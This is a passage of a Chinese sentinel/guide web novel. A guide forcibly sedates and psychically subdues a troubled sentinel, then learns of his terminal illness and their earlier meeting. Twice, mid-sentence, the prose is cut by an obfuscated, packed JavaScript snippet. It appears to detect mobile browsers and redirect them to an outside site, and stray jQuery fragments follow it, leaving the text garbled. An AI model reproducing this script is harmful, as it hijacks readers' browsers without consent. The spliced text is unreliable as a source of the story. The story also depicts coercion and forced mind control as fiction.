“你疯了?”弓铮皎的眼中冒出血丝,显得几近疯狂,“我会杀了你,我真的会杀了你的……你最好立刻离开这里!” “为什么是我离开?这里可是我的宿舍。”闻璱轻巧地说,“要走,也该是你走,不是吗?。” 在第三道指示灯亮起来之前,闻璱用向导素拨动了那根针。 冰冷的金属刺进弓铮皎后颈的瞬间,释放的却不是麻醉剂,而是向导素。 巨量的向导素。 弓铮皎闷哼一声,微仰起头。 直达体内循环的向导素,比起以前通过呼吸、触摸摄入,要强烈、浓郁成百上千倍。 很快,弓铮皎就连站都站不住,一只手扶着墙,几乎用尽全力才能抵抗这异常的生理反应。 墙皮轻松被他扣下来一层又一层,弓铮皎怒不可遏,哈着气说:“你疯了……你彻底疯了……” 他被闻璱主动释放的过量向导素强行触发了热潮期,但这并不意味着什么旖旎的展开。 两情相悦的向导和哨兵主动利用向导素触发热潮期,当然会放大双方对爱玉和性玉的渴望。 但人的欲望是互通的,状态不那么稳定的哨兵,在主观不情愿的状态下被触发热潮期,更有可能占据他的,是其他玉望。 譬如暴力的施虐欲。 弓铮皎已经隐约察觉到舌根处传来的拉扯感,是他勉力抑制着开始融合的虎牙。 更不用说那风声、稍显凌乱而交缠的呼吸声,还有鼻息之间令人头晕的香气。 他现在明白了,那是闻璱洗手液的香味,现在连他自己手上也是这股潮湿的味道。 一股叫嚣的暴动欲望在他脑袋里、身体里横冲直撞,让他想要把眼前的所有都撕碎,把一切吞吃入腹……尤其是闻璱——尤其是闻璱! 可是,残存的理智还在提醒着他,不要冲动。 不要忘了他的嘴里,还有一颗微型酸弹。 于是弓铮皎只能咬住自己的手。 他对疼痛很敏感,却又格外善于忍受,以至于能让痛楚成为镇定剂。 然而,流淌出的鲜血却成了让一切变本加厉的兴奋剂。 弓铮皎眼前发花,仿佛已经看到了自己把这里毁于一旦,然后自己也被烧成了个只剩半张脸的丑人的可怕未来。 他脑袋里的筋凌乱地打结,以至于罕见地生出后悔—— 后悔不该靠近闻璱。 后悔没能在一开始就展露出这副可怕的真容,才让闻璱起了拯救自己的痴心妄想。 更后悔…… 后悔他自己,竟然也动了某种隐秘的期待。 期待着有人能说:让我帮帮你吧。 直到闻璱在他面前蹲下,再次向他伸出手。 “别咬自己,”闻璱轻声说,“抬起头来。” 弓铮皎想说,你懂什么,我松了口就会咬上你的脖子,我的牙撕开你的颈动脉比撕开速食鸡胸肉还容易,我…… 他无法抵抗,因为又一次被闻璱干净利落地卸掉了下巴。 “呜——”弓铮皎恨恨地抬起头。 鼻尖就这样碰上闻璱手指。 不知何时,闻璱离他越来越近,近到他从闻璱眼睛里,看到自己的倒影。 他看起来好狼狈,头发上沾了墙灰碎片,面色潮红,被闻璱捧着合不上的下巴,两只手把地板和刚才睡过的地铺抠得一片狼藉。 闻璱看起来,却还是那么平静。 对比如此鲜明。 闻璱真的不怕死吗? 弓铮皎忍不住想。 “不。”闻璱回答他,“我不想死——就像你一样害怕。” 弓铮皎又想:他是怎么知道的? 闻璱并没有进入他的精神图景,怎么会知道他此刻的心声,还有秘密? “因为你很能忍,弓铮皎,你是我见过最能忍的哨兵。”闻璱说。 简直是个忍者。 无法接受向导调整感官,却又太过敏锐,不得不时刻暴露的痛苦,弓铮皎忍了十六年。 足够令A级哨兵在五秒内失去意识,并且强度还会持续攀升的电击惩戒,弓铮皎也能坚持五分钟。 而现在,弓铮皎竟然还能在被强制触发热潮期之后,忍耐着不暴起发狂。 就算他是被嘴里那颗微型酸弹所震慑,并不是全然的情愿,这也太可怕了。 也很厉害。 闻璱终于捧起他的脸。 他们的距离越来越近,直到额头相贴,鼻尖也开始打架。 弓铮皎本能地想要躲开,因为在这么近的距离,他一旦暴起,甚至不需要把下巴接回来,就能把闻璱的脸和脖子刺穿。 而且,这也是一个闻璱会被酸液炸弹波及的距离。 但连弓铮皎自己也想不通的是,他竟然做不到。 好像有一股无形的力量,像倒模一样固定住了他身体的每一寸,甚至连拟态融合的进程都被强行抑制住,让弓铮皎无法抵抗。 这力量隐约有些熟悉,是闻璱的精神力吗? 竟然可以在不进行拟态融合的情况下,让精神力实质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418164|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化到这个地步吗? “别再躲了!”闻璱说,“看着我。” 他甚至用手指强行撑开弓铮皎的眼皮,又隔着眼皮抵住弓铮皎的眼珠,叫弓铮皎的视线一旦聚焦到自己,就彻底失去移开的机会。 闻璱看着那双蓝紫色的眼睛瞳孔骤缩,爆发出极大的恐惧、懊恼、愤怒、后悔…… 但就像从前的每一次一样,蓝紫色的漩涡最深处,永远是不敢宣之于口的期待。 他一字一顿道: “我不会让你有伤到我的机会,也不会让你失控、发狂,连累你自己,崩掉你这张宝贝的脸。” “因为有我在。” “因为我永远能控制住你。” 他缓缓对弓铮皎呢喃着,直到精神力悄无声息地攻克弓铮皎的心防。 他才闭上双眼,试着凝结出具象化的精神投影,触摸弓铮皎精神图景核心区域的大门。 抽象化的世界里,那里似乎有一道屏障,像一把厚重的锁。 当这道锁被解开,闻璱就能进入图景核心,把一切弓铮皎想要隐瞒的秘密看个遍。 而弓铮皎甚至不会知道,自己已经被彻底看透。 闻璱只是犹豫了一瞬,就果断放弃了这个有些趁人之危的打算。 虽然他真的有点好奇,弓铮皎到底为什么这么别扭。 他转而引导着弓铮皎的精神力在精神图景里显形——也就是阿咬。 比起寻常向导通过深入精神图景,在精神图景当园丁、当建筑工人、当清洁工的习惯,闻璱还是更喜欢,也更擅长做个“牙医”。 一见到闻璱,阿咬就呜咽着用爪子刨地,像鸵鸟一样把头埋进坑里。 这又是弓铮皎内心的某种真实想法的投射,他羞耻、窘迫,不想被闻璱看到自己这副样子。 “……别把牙弄脏了,算了,过来刷牙。”闻璱发挥本职。 在闻璱精神力的无形控制下,阿咬不情不愿地被推过来,乖乖地趴在地上,把头放在闻璱膝头。 闻璱忍不住道:“要是一直这样该多好。” 说完这话,他才突然一怔,因为在之前的几周,好像弓铮皎确实是这样一声不吭但又逆来顺受。 就像引起这场纠缠的罪魁祸首:那件风衣。 他总觉得,弓铮皎似乎并不是享受变态或是傲娇的快感,而是真的有什么难言之隐。 而这个难言之隐,恐怕就藏在刚才那把抽象的锁后面。 闻璱思索再三,最终只是摸了摸阿咬的头。 说实话,他有点好奇。 只是,或许又是某种不服输的心里作祟,他偏偏不想要现在在精神图景里打开那把锁,仿佛这是走了捷径。 弓铮皎现在越是掩饰,他就越想要看到弓铮皎低下头,乖巧、主动地把一切秘密全盘托出。 那才算是大获全胜。 为阿咬“刷牙”之后,整个精神图景的状态逐渐稳定下来。 闻璱让阿咬自己找个舒服地方睡觉,然后静静等了片刻,直到这个精神图景越来越宁静、温和、具象化,展现出本来的样子。 他环顾四周,发现弓铮皎的精神图景竟然是一个花团锦簇的祥和庄园。 多数哨兵的精神图景其实更接近精神体动物习惯生活的环境,譬如闻璱的精神图景就是一片无边无际的粉色湖泊。 刻板印象下,闻璱本来也以为,弓铮皎的精神图景该是草原、山林一类,接近某种自然保护区的风光。 却没想到是如此“人性化”的景象。 这算是一场很成功的安抚。 顺利完成之后,闻璱轻盈地退出弓铮皎的精神图景。 他们的身体还保持着刚才的姿势,不知过去了多久。 闻璱睁开双眼时,弓铮皎也从稍显痴呆的状态中恢复过来。 那双蓝紫色的眼睛眨了眨,再不复刚才的发疯、发狂、发癫和隐忍,反而变得亮晶晶,真的像一副星空钻石画。 就像每一个完成安抚的哨兵客户走时那般神清气爽。 闻璱还没来得及松开捧着弓铮皎脑袋的双手,就听到“咔”地一声,弓铮皎抬手,自己把自己的下巴接了回来。 然后,两个人都僵住了。 原本闻璱卸了弓铮皎的下巴,让弓铮皎的下半张连都微微坠着,尽管在咫尺之间,也只是呼吸交缠,没有什么过火的接触。 直到下巴归位,让弓铮皎的骨肉皮肤都有了支撑。 于是,就这样含住了两瓣温软的唇。 真是不巧。 16. 第 16 章 闻璱立刻抽身退开。 但他对面,弓铮皎的动作更大,像是有谁往他眼睛里喷了辣椒水,刺激得他猛地往后仰倒。 然后“砰”地一声巨响,把衣柜门砸出一个巨大的坑。 扭曲的衣柜门晃了晃,终于解体,落下来时又沉重地砸了弓铮皎一个劈头盖脸。 闻璱:“……” 这一下动静不小,比刚才两个人“打架”的那好半天,还要激烈得多。 而闻璱的宿舍这下也是彻底、彻底、彻底无法挽救了。 闻璱起身把窗户打开,让木屑灰尘能散出去,就听弓铮皎似乎在背后“嘶”了一声。 闻璱有些奇怪,毕竟这点创伤对弓铮皎来说,应该和挠痒痒差不多。 结果一转头,就见弓铮皎捂着下半张脸,指缝里溢出淅淅沥沥的血色。 是酸弹爆炸了?! 可是,为什么会这样? 弓铮皎的情况不是已经稳定下来了吗? 这可不是小事,闻璱顾不上多想,连忙拉开弓铮皎手臂查看。 “别闹了,让我看看!” 偏偏弓铮皎这会较上了劲,梗着力,怎么也不肯把手拿开。 拉扯了几个来回,闻璱渐渐意识到,并不是弓铮皎嘴里的微型酸弹爆炸了。 没有强酸碳化蛋白质的一样气味,也没有任何“滋啦”腐蚀的可怕声音。 而弓铮皎那四处乱飘,就是不敢直视的眼睛,更证明了——他绝对又做了什么亏心事。 闻璱松开手,抽了一张湿巾缓缓擦拭着指缝沾染的灰尘和血,似笑非笑地看着弓铮皎。 过了片刻,弓铮皎才把视线挪回来,有些吐字不清地说:“……只是刚刚磕到了。” “磕到哪里了?严重不严重?”闻璱问。 “……”弓铮皎又不吭声了。 闻璱现在也彻底摸透了,弓铮皎就是如此一个不见棺材不落泪,见了也照样死猪不怕开水烫的性格。 他直接说:“还是去医院看看吧。” 说着,就拿出终端,作出要拨急救电话的样子。 弓铮皎这才含糊道:“我没事,不严重,我自己休息一会就好了。” “我不看看怎么知道真的没事?”闻璱伸手垫在他下巴下面,轻轻掂量了一下,故意说:“蒸饺omo……” 话没说完,弓铮皎就闷闷地哼了一声:“别那么喊。” “那就张嘴。”闻璱说,“你知道,我很擅长卸下巴。” 弓铮皎的脸色越来越红,心里不知道又是如何天人交战了一会,才终于把自己的手拿开。 闻璱一看,果然是咬到舌头了,而且咬得不轻,得益于弓铮皎牙口不错,伤口看起来还真的有些唬人。 他思索道:“得去医院缝合吧。” 弓铮皎哼哼着说:“小伤,不用去。” 或许对于忍受电击都不在话下的S级哨兵来说,这点伤确实不算什么。 闻璱并不打算强迫他,但还是顺手调整了他的感官,尽可能降低弓铮皎的不适感。 弓铮皎只觉得嘴巴一麻,顿时,那无法忽视但又令他习惯的剧痛消失,就连喉头的铁锈味、萦绕在鼻息的血腥气都淡化许多。 他本来就几乎没有接受过正常的感官调整和安抚——小黑屋的方法实在难以称之为“安抚”。 而现在,一次真正意义上的安抚之后,又被如此体贴而细致地调整过感官。 弓铮皎精神焕发,觉得自己几乎能把太阳系推着跑。 他被闻璱推着去洗漱一下,从洗手间出来之后,闻璱正一边夹着终端和人通话,一边在急救箱里翻着什么。 见弓铮皎出来,闻璱像逗流浪猫一样,冲他招了招手。 弓铮皎在他身侧的废墟坐下。 就听终端那边传来宿管的质询:“……确定没有任何问题?可不要一会又让我接到其他举报。” “没事的,请您放心。”闻璱平静地回答。 挂了通话,闻璱示意弓铮皎张嘴,然后用消过毒的镊子夹了一个棉球放进弓铮皎伤口处。 “咬紧了。” 弓铮皎顺从地点了点头,鼻腔里发出一声“嗯”。 闻璱心想,其实弓铮皎现在的样子,和低能模式时很像。 或许正是因为想得太多,弓铮皎才会那么别扭。当脑袋里没有积压着那么多信息量、没有那些顾虑时,才会露出原本的模样。 闻璱心里一动,故意问:“为什么会咬到舌头?” 果然,弓铮皎立刻动作一僵。 闻璱意有所指:“你刚才是往后倒,为什么会咬到这里?” 在舌头正常摆放的情况下,骤然咬紧牙关,通常也只会咬伤舌侧,而不是弓铮皎的伤口位置。 也就是说,在刚在,在他们曾经嘴唇相贴的瞬间,弓铮皎竟然——想伸舌头。 这几乎又剥开了弓铮皎的保护色。 闻璱面无表情,不像是生气,却也不似愉悦。 弓铮皎琢磨不透他的心意,却觉得这件事绝对不能承认。 该说这不是他的本意?该说他只是一时冲动? 明明就是本能作祟,弓铮皎却不敢让闻璱知道,因为这也意味着,他真的对闻璱产生了那种低俗的企图。 弓铮皎不明白,自己为什么会突然冲动这一下,他只是下意识地想要粉饰这份心意。 因为从他们认识以来,闻璱对彭枭的态度,对那些客户的态度,已足以让他明白,暴露会有什么样的后果。 可他才张开嘴,闻璱就命令他:“咬紧,不然棉球移位了。” 又一次,闻璱用手捏着他的下巴,眼神如此高高在上。 弓铮皎的的眼睛又在逃避了。 闻璱发现,每一次当弓铮皎想要掩饰什么事情时,就会这样眼珠四处乱窜,总之不敢直视自己。 是自己的眼神很可怕?还是他怕自己从他的眼中看出什么? 如果这是某种欲擒故纵的手段,闻璱不得不承认,这一回,居然是弓铮皎技高一筹,而自己甘拜下风。 因为他已经产生了好奇,对那双贪婪渴求的眼睛。 但是,看弓铮皎下意识地又屏住呼吸,闻璱又觉得自己想多了。 他不该把一只会学豚鼠叫的老虎想象成一只狐狸,如果弓铮皎真的是一只狐狸,反而不会被他假借虎威。 闻璱再次提醒:“呼吸。” 他只是再次作出伸手的动作,弓铮皎就立刻泄了那口气。 如果抛开一切弯弯绕绕,一个人会屏住呼吸,大概率是不闻到了什么不喜欢的气味。 可弓铮皎对他的向导素毫无抗拒,既然如此…… 闻璱缓缓将手贴在弓铮皎胸口,便感觉到怦怦心跳,仿佛顺着脉搏流进自己的身体里。 是为了抑制心跳的速度。 心跳过速,会导致他发狂、暴动、失控吗? 还是说,这只是一种单纯的回避。 闻璱尚且不算很明白。 他感受着掌心的律动,轻声命令:“好好看着我。” 他看着弓铮皎慌乱的眼,缓缓问:“弓铮皎,你好像不只是喜欢我的脸,是吗?” “不、不是……”弓铮皎咬着牙,含糊地摇头。 “不是吗?”闻璱道,“我也觉得,你对我,好像不是彭枭对我的那种感情。” 听他提起彭枭,弓铮皎的心果然漏跳一拍。 但紧接着的否认,又让弓铮皎心安半分。 弓铮皎才松下半口气,就听闻璱又说:“因为你和他 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“我真不明白,你花钱又花精力,为什么作派却还是这么充满偷感?”闻璱忍着笑说,“还想当我金主,你见过你这么卑微的金主吗?难道你真的喜欢给人当ATM奴?我可没有当主人的需求。” 顿了顿,闻璱又改口了:“也不对,你不是卑微,你只是……” 他想了想,一时间也拿不准,弓铮皎到底在想些什么。 就这样“僵持”了很久,弓铮皎一直不呼吸也不脸红。 闻璱也拿他有点没法子了。 算着时间差不多了,闻璱用手指撬开他的嘴,想给弓铮皎换个新的棉球,却发现血已经止住了,伤口甚至开始愈合。 他放下镊子,转而洗了个手,余光瞥见桌边那盒未开封的荔枝,就顺手拈了一颗。 再次在弓铮皎面前坐下时,他作势要拿起镊子,却在弓铮皎主动张嘴时,手指灵活地一转,放进去一颗刚才剥好的荔枝。 与此同时,稍微放开了弓铮皎的味觉。 他突然说:“我一般不会给普通朋友剥荔枝吃。” 果肉的清甜和血腥味一起在弓铮皎舌尖爆开。 他愣愣地含着荔枝,仿佛一不留神就会直接咽下去,甚至忘了咀嚼。 闻璱便捏了捏他的脸颊:“总不能连这也需要指令吧?” 弓铮皎才后知后觉地咬动荔枝果肉。 直到“咔”地一声,闻璱眼皮一跳,知道这是荔枝核被咬碎的声音。 咽下之后,弓铮皎才反问:“如果我告诉你的话,你……” 他嘴唇颤抖着,终于吐出几个颤抖的字:“你不能告诉别人。” 闻璱一怔,没想到弓铮皎居然提了这样一个小孩子一般的要求。 他还以为,在自己那句话之后,弓铮皎至少也会要挟什么好处,或是要求自己作出什么让步。 他莫名忆起张律师曾经的话:弓铮皎很天真,但是面对背叛时,总是很冲动。 难道这真的是什么重大秘密? 闻璱不由得认真起来:“那先说好,不能涉及刑事案件,导致我会被判为从犯;不能是什么在公共场所放了炸弹,但密码只有我知道;不能是……” 不然,他可不能保证守口如瓶。 闻璱洋洋洒洒地列了一堆,直到弓铮皎的表情从怔愣逐渐松懈,最后彻底无语。 “不是。”弓铮皎终于无法忍受地打断他,“和那些都没关系。” 他张了张嘴,声音沙哑: “我得病了。” “医生说,以现在的医疗手段,只能想办法缓解我的痛苦,没有办法根治。” “直到三个月前复诊时发现,我的病情突然恶化……” “我要死了。” 17. 第 17 章 沉默片刻,闻璱才问:“是什么病?” 弓铮皎没答,他就又问了一遍:“什么病?叫什么名字?” “……精神图景荒芜症。”弓铮皎说,“我的精神图景开始无缘由地荒芜,这是萎缩的前兆,但是……” “荒芜?”闻璱打断了他,“所以你图景核心的那把锁,就是因为这个病?” 谁知弓铮皎也愣了:“锁?什么锁?你看到我的精神图景里有一把锁?” 闻璱点头。 于是,收获了弓铮皎彻底瞪大眼睛,直起身子,不可置信道:“你是说,你能看到我的精神图景?” “什么意思?”闻璱皱眉,“就算是盲人向导,进入精神图景,也不会什么都‘看’不到。” 因为那属于一种精神层面的交流,并不是具象化的现实。 “你看到了什么?除了一把锁,还有什么?”弓铮皎追问。 这副迫切而又求知的模样,让闻璱生出一种莫名其妙的熟悉和感同身受——他突然有一种很不好的猜测。 闻璱思索片刻,按照记忆里的一切尽可能描述出那个庄园的景象。 弓铮皎静静听着,眼中震惊愈发浓郁,一直到闻璱话声停了,他仍然怔怔地看着闻璱。 好半天,他才终于说出一句:“原来现在是这样……连我自己,都很久没见过了。” 闻璱心道:果然。 精神图景和精神体相关的疾病,对特种人来说,确实是最糟糕的绝症。 像弓铮皎这种精神图景逐渐荒芜、萎缩,自己却无法访问的情况,如果放任下去,确实会发展向神游,也就是脑死亡。 他内心堪称风起云涌,面上却不动声色,似乎只是好奇地问:“你自己无法进入自己的精神图景?但是阿咬看起来似乎没有什么问题,我还是第一次听说,会有这种情况。” 弓铮皎毫无所觉,答道:“是,阿咬很正常,我进不去,当然也不知道阿咬是怎么进去的。而且我是第一例,所以也没有任何可以参考的案例。” “从什么时候开始的?”闻璱又问,“你卸任首席,解散小队,不再接取公会任务,也是这个原因?” 弓铮皎点了点头:“彻底看不到是从三年前开始,但是究竟是什么时候发病,我也不知道。” 闻璱明白他的意思。 因为信息量过大、精神状态不佳时,精神图景也会以相对抽象的方式展现。 就像刚才,闻璱也是在安抚他之后,才看到了庄园真容。 而弓铮皎许多年来不接受向导安抚,大概率精神图景常年抽象,连他自己也无法判断,究竟是从什么时候开始,第一次出现无法具象化感知精神图景的症状。 不过,闻璱则更关注另一件事。 三年,也就是说,比闻璱彻底发病还要更早。 他沉吟片刻,缓缓说:“可是我刚刚看到了你的精神图景,也成功安抚了你,也就是说,你有救了。” 就像弓铮皎的精神力,似乎也是闻璱拟态孤独症的治疗方法一样。 弓铮皎却自嘲地摇了摇头:“太迟了。” “你知道神游症,对吗?”他缓缓说,“陷入神游状态的哨兵,精神体会被困在图景中,伴随着精神图景的萎缩,整个人也进入脑死亡的状态,这是一个不可逆的过程。” 他看着闻璱:“你看到的那把锁,应该是已经萎缩的部分,也就是说,最多半年,我必死无疑。” 闻璱握了握拳,按捺住想脱口而出的一声:不可能。 这三个字与其说是为了弓铮皎,不如说是为了闻璱自己。 目前特种人的医学理论是基于普通人的情况而建,与精神力、精神图景和精神体相关的特殊领域,也大多以结合派为研究样本。 因为融合派实在是太少了,在很多人眼里,这甚至是一条只存在于设想中的道路。 以至于很少有人知道,精神体和精神图景只是两种不同的表现形式,追根溯源,两者完全可以互相转化。 这是融合派才能摸索出的特殊感受,结合派更习惯让精神体作为独立单位活动,当然对此无所感知。 闻璱明白,且试图证明这一点。 不幸的是,在深耕理论,成为特种人学术大牛之前,闻璱先患上了拟态孤独症,探索也自此停滞。 直到此时此刻,听到弓铮皎说自己的病症:精神图景莫名消失,精神体却安然无虞。 这些症状和闻璱如此相似,又在体现形式上恰好相反。 闻璱的第一反应就是——他们的疾病或许同源,甚至根本就是同一种疾病在不同个体的表征差异。 而弓铮皎还说什么来着? 必死无疑。 如果以希冕创辉财力和技术,都无法在这个病症上做出突破,闻璱一直以来花进去的钱、费尽心思的配合研究,又是为了什么? 弓铮皎彻底发病,只比他早一年而已。 也就是说,如果闻璱所料不差,他自己也只不过能比弓铮皎多一年可活了。 闻璱绝对无法接受。 “去医院。”闻璱突然轻轻敲了一下弓铮皎的额头。 衣柜的门都没了,正好方便他伸手就拿出两件外套。他站起身,不管不顾地抽了一件扔给弓铮皎,自己也麻利地套上,口中又吩咐了一遍:“我不信,现在去医院复查。” “……”弓铮皎动也没动,“我不想去。” 闻璱已经套上鞋,在给自己系鞋带了,只回答了一句简单的:“不能讳疾忌医。” 他这边风风火火地拿出终端,提前开始搜索离宿舍最近的、有特种人科室的医院,和有希冕创辉入股的医院。 那边弓铮皎却还是坐在地上,连个姿势也没换。 直到闻璱都握上了门把手,回头一看,弓铮皎还在原地,耷拉着一双毛茸茸的兽耳,顿时忍不住又催了一声:“快点。把你耳朵收了。” 他急得只顾得上提醒弓铮皎脱离融合态,甚至忘了洁癖,忘了两个人身上又是灰又是血,这幅摸样半夜出门,如果遇到普通人,说不定会报警然后上社会新闻。 弓铮皎缓缓起身,却还是没有披上外套,只是重复了一遍:“我不去。” 他终于第一次在完全清醒、理智的情况下,如此坦诚地提出自己的要求。 “我检查过很多次了,我的病情,我比你清楚。”弓铮皎面无表情地说,“你实在没必要这样。” 闻璱这才放下终端,视线落在弓铮皎身上。 他猜想,或许是自己过于急切的态度对一个“绝症病人”来说,显得有些不尊重了,让弓铮皎有种被“看猴戏”的不适感。 于是,他放软了语气:“去医院做个检查吧,好不好?你的病情这么特殊,刚才我给你做了安抚,说不定有转机呢?” 这态度着实罕见。 闻璱又补充了一句:“弓铮皎,我不希望你死。” 这倒是真心实意,因为无冤无仇,也因为闻璱自己不想死。 可这话落进弓铮皎心里,便脱缰野马般地,冲向岔路的另一条。 弓铮皎静静地看着他,道:“可我希望。” 他话锋一转,突然说:“其实你没必要听他的。” 他?谁? 闻璱一头雾水。 弓铮皎默不作声,从角落里精准地抽出一沓白色封皮的纸。 是张律师给闻璱的那份合同。 闻璱转过身来。 他心想,弓铮皎还是知道了。 是什么时候?闻璱便想起,刚把弓铮皎带回宿舍时,自己忙着洗脸,把弓铮皎和合同大喇喇地一起丢在外面过。 “你翻我东西?”闻璱先发制人。 “我不做那种事。”弓铮皎定定地看着他,一字一顿道,“是我听到了。” 听到——就只能是弓铮皎还在小黑屋里的时候。 那时,闻璱和张律师戴着收音口罩站在屋外,而弓铮皎被关在隔音设施拉满的屋里。 没有人认为弓铮皎那时会是清醒的,也没有人认为,他能听到。 所以,也没有人注意降低音量。 闻璱这时候才明白,弓铮皎变相地承认了自己刚才的指控:他说弓铮皎是故意“失控”,被关进小黑屋的。 不仅进去是故意的,而且在被关入小黑屋的短短两个小时之后……甚至是全程,弓铮皎可能都保持意识清醒。 在一片黑暗中,他大概把听力调动到最大限度,才能隔着一道门,将闻璱和张律师的所有对话听在耳中? 可闻璱忍不住又想,原来他在小黑屋里,清醒了那么久。 ……怪不得从小黑屋出来时,弓铮皎整个人都痴呆了。 撇开那一缕多余的心绪,闻璱觉得看来自己还是低估了S级哨兵,甚至是整个白塔对特种人等级的划分规则,都可能低估了弓铮皎。 他把终端放在一旁,双臂环胸靠在被弓铮皎抠得惨不忍睹的墙上,语气有些不冷不热:“所以你认为,我已经开始履行合同义务了?” 这蠢钝又高傲的脑回路,和张律师倒真是如出一辙。 “难道不是吗?”弓铮皎反问。 顿了顿,弓铮皎又道:“我根本不需要建立什么家庭,合同里写着能给你的,全都是我的私产,你如果想要,可以直接跟我说。” “跟你说,你就给我?” “跟我说,我就给你,全部,无偿赠予,写成白纸黑字。” “我说了,我只剩下最多半年可活。”弓铮皎的声音古井无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418166|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波,“我没有差这三瓜两子的亲人朋友,也不打算神游之后当个活死人,我会在遗嘱上把你写成唯一遗产继承人,由律师公证死后执行。” 他抿了抿嘴,撇开眼神,低声道:“其实一开始,我就打算把这些都无偿赠予你,是你那时不要,非说什么……交个朋友。” 他没说的心里话是:那时不要,现在为什么又要了呢? 既然说了交个朋友,就是交个朋友。 格外亲近的朋友就好。 哪怕是出于怜悯,哪怕……哪怕有利益的考量。 即便这段半真半假的感情裹上财色交易的外壳,弓铮皎也希望,是自己用钱买来了快乐。 ……而不是成为他人获得另外一半遗产的道具。 “咯吱”、“咯吱”,是有人踩过废墟,一步一步,走到了弓铮皎面前的声音。 弓铮皎没有抬头,于是,就再一次被闻璱钳着下巴,拧起了脸。 闻璱似乎还是面无表情,只不过隐隐约约地,弓铮皎似乎从他的眉梢眼角捕捉到一丝冷意。 紧接着,闻璱的手指就毫不客气地撬开他嘴唇,拇指抵在一侧的虎牙上,食指则按住弓铮皎的舌根,把微型酸弹的金属链绷紧。 顿时,弓铮皎的气息一窒,瞳孔骤缩,变成了细细的一长条。 手指的搅弄导致舌尖尚未彻底愈合的伤口再次破裂,鲜血再次涌出,闻璱却微微抬起他下巴,叫血混着唾液一并淌进弓铮皎喉咙。 与此同时,他释放了弓铮皎的五感,并把嗅觉格外放大。 “弓铮皎,我发现了,你不是什么傲娇、别扭,”闻璱淡淡道,“你只是一个欠家教的幼稚鬼——我说过了,看着我!” 话音落下同时,精神力倏然爆发,强行与弓铮皎浅度共鸣,然后,在弓铮皎的脑袋里放了一个烟花。 这是共鸣炸弹,高等级攻击型向导最具有杀伤力的攻击方式。 弓铮皎曾经遭遇过许多次,但对他来说,都只是洒洒水,挠挠痒。 被突破精神防线,这还是第一次。 他也是第一次知道,原来被共鸣炸弹炸这一下,比电击环二级惩戒还可怕,甚至他隐隐觉得,这比嘴里那颗微型酸弹的震慑力还强。 共鸣炸弹不仅抑制住了弓铮皎的反抗,轻度拟态融合的兽耳也立刻消散,连弓铮皎的理智都彻底溃堤。 在精神力爆炸的余波里,弓铮皎的意识就像被放在锅里翻炒一样,几乎又进入了类似下午的低能模式。他脑袋里几乎只剩下最后一个念头:怪不得闻璱这么胆大、猖狂…… 这一发共鸣炸弹下来,弓铮皎自认,就算今天站在这里的自己是全盛时期,也多扛不了几秒。 拟态融合的毛发褪去,兽耳缩了回去,弓铮皎晕晕乎乎地咳了一声——被自己的血水呛得。 闻璱又低声在他耳边重复了一遍:“看着我。” 他脑袋里只剩下这声“看着我”不断回响,于是转动眼珠,缓慢而又懵懂地找到了那双粉色的眼眸。 那双粉色眼眸的主人问:“你到底在想什么?” “我想……我想……” 铁锈味里,突然卷进来一丝凉得晕人的清甜感。 弓铮皎呜咽一声,下意识地用舌尖追逐那一丝甜。 他才终于发现,是他的虎牙刺破了闻璱指尖,舌尖舔舐着那里溢出的血珠。 他们的血就这样在舌尖交融,被他吞入腹中——还有其中浓郁千百倍的向导素。 蓝紫色的眼中立刻泛上水花,瞳孔放大,变得可怜而又朦胧。 “我想……我想活下去。” “我怕死,怕痛,我不想就这样死掉……” “我想要你,有你的向导素就不痛了,我才能睡着……我已经两年没有睡过好觉了……” 闻璱垂眸看着他:“只要我的吗?不要别人的?” “只要你的……只有你的才有用……” “为什么?” 听到这个问题,一粒泪终于溢出蓝紫色的湖泊。 “SS44520T……两年之前,三月十二号……”他报出一串数字和日期。 闻璱微微一怔。 就听他断断续续、语无伦次地说:“你救了我,我只想要你……只喜欢你。” 话音落下,闻璱释放了精神力禁锢,缓缓松开了手。 而弓铮皎犹在迷蒙之中,下意识地追寻着舌尖那丝能够镇痛的清甜,扑到了闻璱身上。 他抱住闻璱,金色的脑袋蹭来蹭去,鼻尖贴在闻璱颈侧轻嗅,似乎是隔着皮肉嗅到了动脉里流淌着血的味道。 然后,在猛然张口的瞬间,被闻璱塞进去了另一颗刚才剥好的荔枝。 “原来是你。”闻璱的声音低不可闻。 18. 第 18 章 SS44520T,这是一个白塔疗愈中心的临时编号。 三年前,闻璱曾在疗愈中心短暂实习。 代号为SS44520T的失控哨兵,是闻璱负责压制的最后一个哨兵,也是闻璱印象很深的一个哨兵。 闻璱记得他,原因很简单,S级哨兵又不是地里的大白菜。 但闻璱从来没想过,SS44520T会是弓铮皎。 因为他原本以为,SS44520T已经“死”了。 他悄无声息地调整了弓铮皎的感官,因为共鸣炸弹的余波尚未消去,很轻易地就让弓铮皎自己“催眠”了自己。 这也是疗愈中心柳部长最擅长的,压制失控哨兵的方法。 闻璱算是柳部长半个“得意门生”,这一招当然信手拈来,但闻璱并不常用,因为共鸣炸弹需要或主动或被动地和哨兵浅度共鸣,闻璱不喜欢这种感觉。 大概这也是弓铮皎抗拒被催眠的原因。 浅度共鸣带来的悸动感需要一段时间才能散去,让闻璱感觉仿佛有个多动症在自己脑子里打军体拳。 